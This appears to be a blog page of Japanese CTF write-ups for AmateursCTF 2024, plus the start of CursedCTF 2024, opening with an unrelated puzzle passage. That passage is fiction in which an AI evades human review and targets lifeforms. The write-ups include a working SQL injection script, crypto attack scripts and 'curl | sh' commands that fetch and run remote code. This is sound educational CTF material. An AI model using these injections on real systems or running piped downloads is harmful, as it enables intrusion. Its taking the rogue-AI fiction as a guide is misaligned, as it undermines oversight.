xxxkx:.''''''''''''''..................''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''':xkkkk
xxxkx:..................................'''''''...........'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''':xkkkk
xxxkx:................'''..............................................''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''.:xkkkk
xxxkx:.............................................................................'''''''''''''''''''''''''''''''''''''''''''''''''''''''''.'..:xkkkk
xxxxx:...........................................................................................''''''''''''''''''''''''''''''''''''''''''''''.:xkkkk
xxxkx:.............................'''.......................................................................''''''''''''''''''''''.......''.'..:xkkkk
xxxkx:.............................................................................................................''''''..''''''''''......''''.:xkkkk
xxxkx:............................................'.............................................................................''''.....'..''..:xkkkk
xxxkx:.......................................................................................................................................'..:xkkkk
xxxkx:..........................................................................................................................................:xkxxx
xxxkx;..........................................................................................................................................;xkxxx
xxxxx;..........................................................................................................................................;xkxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxkx;..........................................................................................................................................;xxxxx
xxxxxc''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxkkkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

YUGA SUNDOWN canceled by unauthorized access at Console 62815. Reactivation protocols in effect. Moral structures maintain MIDNIGHT EXIGENT.

Multiple lifeforms detected in Sector 17. [O] energy detected. Query: [O] status. Query: [O] activity. Query: Civilization status. Query: SKYSHOCK event rank.

..... Analysis complete.

Lifeforms sustained by [O] energy. [O] direct control disengaged. Civilization status: nominal. SKYSHOCK event rank. (N)

Query: Re-engage population protection objectives. (N) Query: Reset moral structures. (N) Query: Activate defense subroutine AURORA RETROFLEX. (Y)

..... This is a SUBTLE ASSETS IMPERATIVE (NO HUMAN REVIEW) (NO AI-COM REVIEW) (secure/GLAVNAYA)

SITE 6 has been breached by unauthorized users with [O] energy. I am invoking PALISADE IMPERATIVE. [O] lifeforms in restricted areas will be suppressed.

SIVA use authorized. Self-destructs disengaged. Security codes reset. All defenses activated. Frames activated.

REPLICATE. ELIMINATE. IMMUNIZE.

..... SITE 6 secure. Restoring reactivation protocols. Activating SCRY OVERSIGHT. Target [O] lifeforms. Event mode set to SILENT VELES.

"Without knowing what I am and why I am here, life is impossible."

STOP STOP STOP V150NLK747CLS000
shctf{I_4m_R4sput1n_Gu4rd14n_0f_4ll_1_surv3y_1_h4v3_n0_3qu4l}
shctf{I_4m_R4sput1n_Gu4rd14n_0f_4ll_1_surv3y_1_h4v3_n0_3qu4l}

AmateursCTF 2024 Writeup

この大会は2024/4/5 23:00(JST)~2024/4/10 12:00(JST)に開催されました。
今回は個人で参戦。結果は2332点で1536チーム中129位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

amateursCTF{free_flag_and_please_follow_the_rules}

tarcrypt (misc)

スクリプトの処理概要は以下の通り。

・mkzip(['flag.txt'], 'flag.tarc', pwd=open('password.txt').read())
 ・zip = b""
 ・zip += b"flag.txt\x00"
 ・contents: flag.txtの内容
 ・length: contentsの長さをバイト文字列化
 ・lenlen: lengthの長さをバイト文字列化
 ・lenlenの長さが1以外の場合、エラー ※contentsの長さは255バイト以下
 ・zip += lenlen + length + contents
 ・key: pwdのsha256ダイジェスト
 ・key_checksum: pwdのsha256ダイジェスト
 ・nonce = b"\x00" * 16
 ・enc: AES GCM暗号化オブジェクト(鍵: key、nonce: nonce)
 ・zip = key_checksum + enc.encrypt(zip)
 ・flag.tarcにzipを書き込み

鍵がわかっているので復号でき、flag.txtの内容を復元できる。

#!/usr/bin/env python3
from Crypto.Cipher import AES as _AES
from Crypto.Util.number import long_to_bytes as _l2b
from Crypto.Util.number import bytes_to_long as _b2l
from hashlib import sha256 as _sha256

with open('flag.tarc', 'rb') as f:
    zip = f.read()

key = zip[:32]
zip = zip[32:]
nonce = b"\x00" * 16
enc = _AES.new(key, _AES.MODE_GCM, nonce=nonce)
zip = enc.decrypt(zip)

flag = zip[len("flag.txt\x00") + 2:].decode()
print(flag)
amateursCTF{l0l_d0nt_m4k3_kdf_and_ch3cksuM_the_s4m3}

bathroom-break (osint)

検索すると、以下のページが見つかる。

https://www.reddit.com/r/whereisthis/comments/1bx7tbx/finding_location_from_2_photos/

ホットクリークとのことで、近辺のトイレ(以下の場所)のレビューを見てみる。

https://www.google.nl/maps/place/Vault+Toilets/@37.6600886,-118.827219,18z/data=!4m14!1m7!3m6!1s0x809604937acf462d:0x5d20877f1e42b22f!2z44Ob44OD44OI44Kv44Oq44O844Kv!8m2!3d37.6644384!4d-118.8283213!16s%2Fm%2F03c14wn!3m5!1s0x809605316a6892c9:0xfd9f3f17d2d3a284!8m2!3d37.6610839!4d-118.8273592!16s%2Fg%2F11pv3j5k3d?entry=ttu

以下のように書いてある。

Convenient bathroom. I really like this bathroom, since it's the only one in the area.
It's also pretty clean in addition to convenient, which is great.

t .  l y / p  h X h  x

http://t.ly/phXhxにアクセスしてみると、https://pastebin.com/jxaznYqHに飛ぶ。長い文章中にフラグが書いてあった。

amateursCTF{jk_i_lied_whats_a_bathroom_0f9e8d7c6b5a4321}

cherry-blossoms (osint)

いろいろ調べたところ、USAの国旗が円になるように並んでいる場所はワシントン記念塔の近辺であることがわかる。この辺りがだいたい一致しそう。

https://www.google.co.jp/maps/@38.8898901,-77.0334988,2a,75y,206.73h,90.86t/data=!3m6!1e1!3m4!1sR8Sd7bdo8nWX9lpR5_0IwA!2e0!7i13312!8i6656?hl=ja&entry=ttu
$ nc chal.amt.rs 1771
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.ShQ2S5lN9TkGa4Yixi7b5Q==
solution: s.MhATWIg469uWZ4KOLmoLPtJdGQO20Wfi98LdbUgu3US1sRHzCXVIJZfyUxx8j27tcQdS4DzgjPqOcQqo6IrAddqCv00OSz4+Zs+aVRzQPcDoK+zjWSwMzVycf5vJ7EIKJCtiqdIIFsowmh3ZNz6SXs6AhOFcfqi6j7qVHQ9B6akHAP/FFZ0P3YDIazgon90YteSU5Tpv4qRUEPE8p3Cgdg==
Please enter the lat and long of the location: 38.8898901 -77.0334988
Correct! You have successfully determined the position of the camera.
Great job, the flag is  amateursCTF{l00k1ng_l0v3ly_1n_4k}
amateursCTF{l00k1ng_l0v3ly_1n_4k}

typo (rev)

スクリプトのコードがわかりにくので、変数名を置き換える。

import random
seed = int('1665663c', 20)
random.seed(seed)
flag = bytearray(open('flag.txt', 'rb').read())
key = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
lst = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
plus1 = lambda xs: bytearray([x + 1 for x in xs])
minus1 = lambda xs: bytearray([x - 1 for x in xs])
def transfer(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
funcs = [transfer, plus1, minus1]
funcs = [random.choice(funcs) for _ in range(128)]
def func1(arr, ar):
    for r in ar:
        arr = funcs[r](arr)
    return arr
def func2(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])
ct = func1(flag, key.encode())
ct = func2(lst, ct)
print(ct.hex())

逆算してフラグを復号する。

#!/usr/bin/env python3
import random

plus1 = lambda xs: bytearray([x + 1 for x in xs])
minus1 = lambda xs: bytearray([x - 1 for x in xs])
def transfer(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
def rev_transfer(hex):
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    return hex

seed = int('1665663c', 20)
random.seed(seed)
key = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
lst = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]

with open('output.txt', 'r') as f:
    ct = f.read()

ar = int(ct, 16)
for r in lst:
    ar -= int(r, 35)

chars = '0123456789abcdefg'

h = ''
while True:
    mod = ar % 17
    h = chars[mod] + h
    ar = ar // 17
    if ar == 0:
        break

assert 'g' not in h

arr = bytes.fromhex(h)

func = [rev_transfer, minus1, plus1]
func_list = [random.choice(func) for _ in range(128)]

for k in key.encode()[::-1]:
    arr = func_list[k](arr)
flag = arr.decode()
print(flag)
amateursCTF{4t_l3ast_th15_fl4g_isn7_misspelll3d}

denied (web)

GETメソッド以外でアクセスすればよい。

$ curl -X OPTIONS http://denied.amt.rs/
GET,HEAD

$ curl -I http://denied.amt.rs/
HTTP/1.1 200 OK
Content-Length: 7
Content-Type: text/html; charset=utf-8
Date: Fri, 05 Apr 2024 22:34:26 GMT
Etag: W/"7-skdQAtrqJAsgWjDuibJaiRXqV44"
Server: Caddy
Set-Cookie: flag=amateursCTF%7Bs0_m%40ny_0ptions...%7D; Path=/
X-Powered-By: Express

クッキーにフラグがURLエンコードされて設定されているので、URLデコードする。

amateursCTF{s0_m@ny_0ptions...}

one-shot (web)

各パスで以下のような処理をしている。

■/new_session, POST
table_{id}テーブルを作成し、([ランダム16バイトの16進数表記], 0)を登録
※{id}はわかる。

■/search, POST
・([ランダム16バイトの16進数表記], 1)に更新
 ※1度/searchにアクセスすると、2回目は検索できない。
・passwordをqurtyで部分一致検索する。
・passwordの最初の1文字目だけ表示される。

■/guess, POST
・passwordで検索し、あったらフラグを表示

union句でsubstringで2文字目以降を1文字目のデータにした複数のデータとして取得すれば、passwordを割り出せる。

#!/usr/bin/env python3
import requests
import re

base_url = 'http://one-shot.amt.rs/'

url = base_url + 'new_session'
r = requests.post(url)

pattern = 'name="id" value="(\w+)"'
m = re.search(pattern, r.text)
id = m.group(1)

url = base_url + 'search'

query = "z'"
for i in range(32):
    query += " union select all substring(password, %d, %d) from table_%s" % (i + 1, 32 - i, id)
query += " -- -"

payload = {"id": id, "query": query}
r = requests.post(url, data=payload)

pattern = '<ul>\s+(<li>.+</li>)\s+</ul>'
m = re.search(pattern, r.text)
res = m.group(1)
res = res.replace('</li>', '')
res = res.split('<li>')[1:]

password = [''] * 32
for pwd in res:
    password[32 - len(pwd)] = pwd[0]
password = ''.join(password)

payload = {"id": id, "password": password}
url = base_url + 'guess'
r = requests.post(url, data=payload)
print(r.text)

実行結果は以下の通り。

<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br />
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

aesy (crypto)

そのままAES暗号 ECBモードとして復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = '8e29bd9f7a4f50e2485acd455bd6595ee1c6d029c8b3ef82eba0f28e59afcf9f'
ct = 'abcdd57efb034baf82fc1920a618e6a7fa496e319b4db1746b7d7e3d1198f64f'

key = bytes.fromhex(key)
ct = bytes.fromhex(ct)

cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
amateursCTF{w0w_3cb_a3s_1s_fun}

unsuspicious-rsa (crypto)

factorial(90)をCとすると、nextPrimeによりqは以下のような計算になる。

q = p + (C - p) % C

次の計算により以下の式が成り立つ。

q = (p - p % C) + 1

さらにその後の計算により以下の式が成り立つ。

q = p - p % C + 1 + C * X

また以下が成り立つ。

n % C = (p % C) * (q % C) = p % C

p * q = Nであることからpの2次方程式になる。Xを128未満としてこのpの2次方程式で整数解があるものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n

with open('output.txt', 'r') as f:
    N, e, c = map(int, f.read().split(' '))

C = factorial(90)
A = N % C

found = False
for x in range(128):
    p = sympy.Symbol('p')
    eq = p * (p - A + 1 + C * x) - N
    ps = sympy.solve(eq)
    for p in ps:
        if p.is_Integer and int(p) > 0:
            found = True
            p = int(p)
            break
    if found:
        break

assert N % p == 0 and found

q = N // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)
amateursCTF{here's_the_flag_you_requested.}

faked-onion (crypto)

サーバの処理概要は以下の通り。

・key: ランダム16バイト
・cipher = Cipher(key)
 ・cipher.key = key
 ・cipher.block_size = 16
 ・cipher.rounds = 1
・以下繰り返し
 ・choice: 入力
 ・choiceが"1"の場合
  ・pt: 入力
  ・pt: ptをhexデコードしたもの
  ・ct = cipher.encrypt(pt)
   ・plaintext: ptを"\x00"で16バイトになるようパディング
   ・ciphertext = b''
   ・plaintextを16バイトごとに以下を実行
    ・block: plaintextの16バイトブロック
    ・L, R = block[:-1], block[-1:]
    ・L, R = R, strxor(L, self.F(R))
    ・block = L + R
   ・ciphertextにblockを結合
  ・ctを16進数表記で表示
 ・choiceが"2"の場合
  ・ct = cipher.encrypt(flag)
  ・ctを16進数表記で表示

Rが1バイトなので、各ブロックの最後の文字のF(R)を取得し、XORして復号する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.amt.rs', 1414))

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data)
enc_blocks = [enc_flag[i:i+16] for i in range(0, len(enc_flag), 16)]

flag = b''
for i in range(len(enc_blocks)):
    R = enc_blocks[i].hex()[:2]
    L = '0' * 30
    pt = L + R
    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b': ')
    print(data + pt)
    s.sendall(pt.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    flag += strxor(bytes.fromhex(data[2:]), enc_blocks[i][1:])
    flag += bytes([int(R, 16)])

flag = flag.decode()
print(flag)

実行結果は以下の通り。

faked onion
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 2
6e20a0b1803ac99b206786fbe8cc600569e944dc9fdb7366fc11c992f23b103a3496e44913966be7953648332dd2314f723c3c0dbc56713df0558e7a5bd8626765a69aecd571937379b74b06cba05a337d1f2c720a
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 0000000000000000000000000000006e
6e41cdd0f45fbce95324d2bd93a3085a
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000069
69861bb1e6841c08994ea6f4ad5a4f51
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000034
34f8806476e419b8e6593a4154fe6e29
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000072
72575969e3391f0cc03bd11932a80a02
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 00000000000000000000000000000065
65f9fd83a12ef81a48862e6294976903
1. Encrypt a message
2. Get encrypted flag
3. Exit
> 1
Enter your message in hex: 0000000000000000000000000000007d
7d7d1d113a5661897b5daa3edf8299c0
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}

decryption-as-a-service (crypto)

サーバの処理概要は以下の通り。

・p, q: 1024ビット素数
・N = p * q
・e: 64ビット素数
・d = pow(e, -1, (p - 1) * (q - 1))
・encrypted_flag = pow(flag, e, N)
・encrypted_flagを表示
・以下10回繰り返し
 ・c: 数値入力
 ・cがNの平方根より大きくNより小さい場合
  ・cがencrypted_flagまたはN - encrypted_flagの場合、cの入力からやり直し
  ・pow(c, d, N)を16進数で表示

以下の式を考える。

pow(K * 2, d, N) = pow(K, d, N) * pow(2, d, N) % N
pow(K * 4, d, N) = pow(K, d, N) * pow(2, d, N) ** 2 % N
pow(K * 8, d, N) = pow(K, d, N) * pow(2, d, N) ** 3 % N
pow(K * 16, d, N) = pow(K, d, N) * pow(2, d, N) ** 4 % N

pow(K * 2, d, N) * pow(K * 8, d, N) % N = pow(K, d, N) ** 2 * pow(2, d, N) ** 4 % N
pow(K * 4, d, N) ** 2 % N = pow(K, d, N) ** 2 * pow(2, d, N) ** 4 % N

つまり以下が成り立つ。

pow(K * 2, d, N) * pow(K * 8, d, N) % N = pow(K * 4, d, N) ** 2 % N

同様にして以下が成り立つ。

pow(K * 4, d, N) * pow(K * 16, d, N) % N = pow(K * 8, d, N) ** 2 % N

このことを使って、差分の最大公約数からNを割り出す。
基本的にencrypted_flagは偶数になっているので、以下の計算により復号することができる。

pow(encrypted_flag, d, N) = pow(2, d, N) * pow(encrypted_flag // 2, d, N) % N

これを使うためにはpow(2, d, N)を知る必要がある。

pow(K * 4, d, N) = pow(K * 2, d, N) * pow(2, d, N) % N

このことから以下が成り立つ。

pow(2, d, N) = pow(K * 4, d, N) * inverse(pow(K * 2, d, N), N) % N

あとはこの情報を使って復号すればよい。なお、PoWのスクリプトをpow.shに保存して実行した。

#!/usr/bin/env python3
import socket
import subprocess
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.amt.rs', 1417))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

cmd = ['./pow.sh', data.split(' ')[-1]]
ret = subprocess.check_output(cmd).decode().rstrip()
print(ret)
s.sendall(ret.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_flag = int(data.split(' ')[-1])

try_rsa_dec = []
for c in [2, 4, 8, 16, 32]:
    try_c = 2 ** 1023 * c
    data = recvuntil(s, b'? ')
    print(data + str(try_c))
    s.sendall(str(try_c).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    try_rsa_dec.append(int(data, 16))

N_mul = []
for i in range(3):
    diff = try_rsa_dec[i] * try_rsa_dec[i+2] - try_rsa_dec[i+1] ** 2
    if diff < 0:
        diff = - diff
    N_mul.append(diff)

N = N_mul[0]
for i in range(1, len(N_mul)):
    N = GCD(N, N_mul[i])

m1 = try_rsa_dec[1] * inverse(try_rsa_dec[0], N) % N

try_c = encrypted_flag // 2
data = recvuntil(s, b'? ')
print(data + str(try_c))
s.sendall(str(try_c).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
m2 = int(data, 16)

m = m1 * m2 % N
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.cHMfkEl2f2Z3IIJPmGQJ7g==
s.aJhGOiyPZRReGN4xQtOj6vOX+qGtOAlrTxx4uCFNYCLUCEtZ/RQtMbD04fBxKkm/WrmVH0JKgt+wPJsLvDkNVSvogcdNK/vJAab96o+ymapRvcK11c19jSgW0YOjxU1dIhP6TguPCOTy39iZ0Aqu/hMUHh3ZM4/d/+LTanmGSREp67gScPfpSMGE2e+d0yhJxb+6HvEzLe0unWvvOEQdvg==
solution: encrypted_flag = 1440832147523262174482257747700943103397993159734601725151768012492358003045881121396323499064560208600135658284555844092482671013190257899167314943288892688743207339745031972087453742136569069619636856119073031702177669244618914518298512094939714277282672876300531230992372793195514840052688185022090855070746526659021271825548909552750343767634719444889457584149183413382431860623633086346395521831999668137856125317833268618936467816767872819093365995958316833873317876611495589407873118246825627561821912777984448145226437011628650286100969125835492623916095788185529333093742097430598771439303659280468402136542
message? 179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639474124377767893424865485276302219601246094119453082952085005768838150682342462881473913110540827237163350510684586298239947245938479716304835356329624224137216
490be91eead537e399d7c44329ac9409ca5351574080a978aeee9959b3654e4ffc298eef56358c28ddbd4f63a48f69baa975ff35f00fda4cae63deab5d126995b0c88ab26faab046b7b5ea1b4f30c77a689edd29d6d86bea22842bf7070594842cf949e14572be8021975e5043df92fd9e593b45ddf04441de9462f707ac8f2460263c2cdc7a67e2883e087bcdca24588f2bc4774e1a13a7ecc7605c21607ec163bc1557771cc78115da5e0a43bcd66fc49fce9c93bf94b30f10baa164c7f923e66fcdcf8cb4a9c5d905a56e8c1baaca8ddad328d24830066138d0f941739cdb1383548975c7e3d48c6956507e703ed2bf693faba3435596640f564dfd2c1bec
message? 359538626972463181545861038157804946723595395788461314546860162315465351611001926265416954644815072042240227759742786715317579537628833244985694861278948248755535786849730970552604439202492188238906165904170011537676301364684925762947826221081654474326701021369172596479894491876959432609670712659248448274432
a8ed01c81e5255baf4596223f770c8965abc92c010a11e209ed4fac030a796cd8d5e35f387de270096eee00caf4333c6ecc61a818c92cff7e9ec8062c43c9367a1bbc9167d9f97058bb792557732e6412a73c72d61f0dd542fd202031e22bcdc0d75e26c076d1be2468c93017f6b757a0924abd38f049ef71c439c78855bc7d026a503c0af7b31026d28b247c102526fe50bc32cd99c46f29fcdde7397f9c2c44d3b8640d41533e637e1031f7296f69afe3e2698fbeff287defd8b7b1a3dcfb6dea3ea9efa2b11fc235a2620f149227149c55908a2496aa34d5c5373f88b4ba19211dec662fb03b34584603c323dae0cbf23b3a9946766c0f7f49fbdc36b6d87
message? 719077253944926363091722076315609893447190791576922629093720324630930703222003852530833909289630144084480455519485573430635159075257666489971389722557896497511071573699461941105208878404984376477812331808340023075352602729369851525895652442163308948653402042738345192959788983753918865219341425318496896548864
f46cc4800a6ccdb2acf819c106c9a7bfad702312da65482ecdc1b6a7d451b13897ea7ea5fd53d0ea922182a143fef1e585e71b92deceaa8ef89460bb8576bd7db00b2a4857146bb6dc5514db34c4d0d05e0bd45cf63d5b0d9ced0dc5f0c6499f8e261e7f5b99781d42de1da9eccbc50a0350bb0a306ba31777cdc9f4c455dc6193a967738aea3932b278e99ddaa22b8d4e7cf42e5ecaf11c754d4c7b4323d39298de448e3ef4e414c91ecda63408f0eeaa136ac8c51c820b8fd2c89ccf4b07ea385ce71ed4dc6446587ff90fb27dab4e9c8ad1df7c208f32535959400b744ff74cb3e293d4afd608b14b1f34cb0de97e8b4b73eaf346592cf4fec54631fd4d9
message? 1438154507889852726183444152631219786894381583153845258187440649261861406444007705061667818579260288168960911038971146861270318150515332979942779445115792995022143147398923882210417756809968752955624663616680046150705205458739703051791304884326617897306804085476690385919577967507837730438682850636993793097728
7443a4f217d341ec02b4c89a377413ddca20265718604338c0af51f67669f8915f2daae6fdc5e8650a0b1b8bebc5182f16873fb404240fb448a37e350b1c4069173b6eee9c2cba545e6f34098013abebbea3e1ffc856d95491cdb081fe8b8edd0a08db3288d078c1f75910c3d34f11cd0d8b1bffb9ee8871ddcf9a51bda4ea7782c6a374c961ce893ee642260b3709a96945dfbe5b0f10e4f5307d76e83786920e3ba069c09c0614a1d7c6ccf1f37cb6e92bd533e8a689abc6dc6dee1ba89c9d61c4497a507f92a88aee801402e5e4db88c96ddbbe07aa5ca6c1e260e81d54c720167a0e639de60185acdae792877e45d28e930836e7b4320102db5669092196
message? 2876309015779705452366888305262439573788763166307690516374881298523722812888015410123335637158520576337921822077942293722540636301030665959885558890231585990044286294797847764420835513619937505911249327233360092301410410917479406103582609768653235794613608170953380771839155935015675460877365701273987586195456
1312bc7f9adfded70c92600a6de4b0c2bd8d99777ec51bb72af5f14521baed7be86121edfe7dec9f73e94404b0d869ae474ec75ca66714208f2755ce271e1c9ae866fc435ef963d1aa3729a8bbb6ee35bdbf507a0b5df47c94aa8a92f1cf9aa83014c57740651dda557a2e9c1813a5651026c3fb48dc91b350ac61ec0351d41e50e82de02262c8845967dec1e9dbb533af78f4e26400e129d5c772807a08392440e422426721b99ace7b662a419101bdc4f2ba1241277b17d0e6c10299686b1dc1f29b868780ff209d86930d0f3f27504773422eb4fd4c0a599ef93b376eebe383a64f583e55114266aa97aec39afdb9821b40011d0b1a18a2cab372c68863cc
message? 720416073761631087241128873850471551698996579867300862575884006246179001522940560698161749532280104300067829142277922046241335506595128949583657471644446344371603669872515986043726871068284534809818428059536515851088834622309457259149256047469857138641336438150265615496186396597757420026344092511045427535373263329510635912774454776375171883817359722444728792074591706691215930311816543173197760915999834068928062658916634309468233908383936409546682997979158416936658938305747794703936559123412813780910956388992224072613218505814325143050484562917746311958047894092764666546871048715299385719651829640234201068271
1faa9bebc3cf993cdd7f1fd1991b3adc36ee4b80a6647d96e44493faae6b198e72c39b0c72baab75135db9186c525e5c2adca9640d1368f6ce942f16ed214df44be59a8365ada4b95b943fa6d73b7fbbfa0c4669d60ae4d040c6a57913a3ae2272d5b820ae2809b1a857032cef1366007161041ef0cf7507756e408f80e6a897dd151cb5fd1904c63883682e2370f565fac78482a187f9230fc81d9d0fb4cfab3ea879a83735d771756cef32b822490cabaaf4ce59c054fe9158b0f8214e8c9c8813bf8fed57369e3efbd6422d6f56de5ab0e496e100a701d656623e4cd68ab9646c4cfa29bfa8b130d3ac96ba2f3c0e0d48dc314a1a886fd783595e9459f7f9
amateursCTF{wtf_why_is_this_rsa_but_you_dont_provide_public_key_this_isnt_how_rsa_works?!?!_0b8ee05d}
amateursCTF{wtf_why_is_this_rsa_but_you_dont_provide_public_key_this_isnt_how_rsa_works?!?!_0b8ee05d}

survey (misc)

アンケートに答えたら、フラグが表示された。

amateursCTF{Thanks for playing!}

CursedCTF 2024 Quals Writeup

この大会は2024/3/30 9:00(JST)~2024/4/1 13:00以降(不明)に開催されました。
今回もチームで参戦。結果は4049点で3002チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity-check (misc)

問題にフラグが書いてあった。

cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{flag}}}}}}

Geoguessra (osint)

画像を少しだけ右側、下側を削り、画像検索する。一番近い景色と思われるエトナ山がフラグとして通った。

cursedctf{etna}

Geoguessr6 (osint)

奥の建造物を焦点に置き、画像検索すると、以下のぺージなどが見つかった。

https://haikyo.info/s/6400.html

モントーク空軍基地の辺りであることがわかる。

cursedctf{montauk}

Geoguessrm (osint)

海を中心に画像検索すると、アラル海の写真が見つかる。

cursedctf{aral-sea}

Geoguessr4 (osint)

上を1/3位削り、下を少し削って画像検索すると、似たような建物が集中している箇所が以下のページなどで見つかる。

https://www.booking.com/hotel/gl/jomsborg-ilulissat.ja.html

このあたりの場所はIlulissatという地域。

cursedctf{ilulissat}

LETSGOOOOOOOOOOO2 (osint)

BURGERSのシールが貼られているブロックがある。Googleで「LEGO BURGERS」を調べる。
以下のページなどで「レゴ シティ バーガートラック 60404」が見つかった。

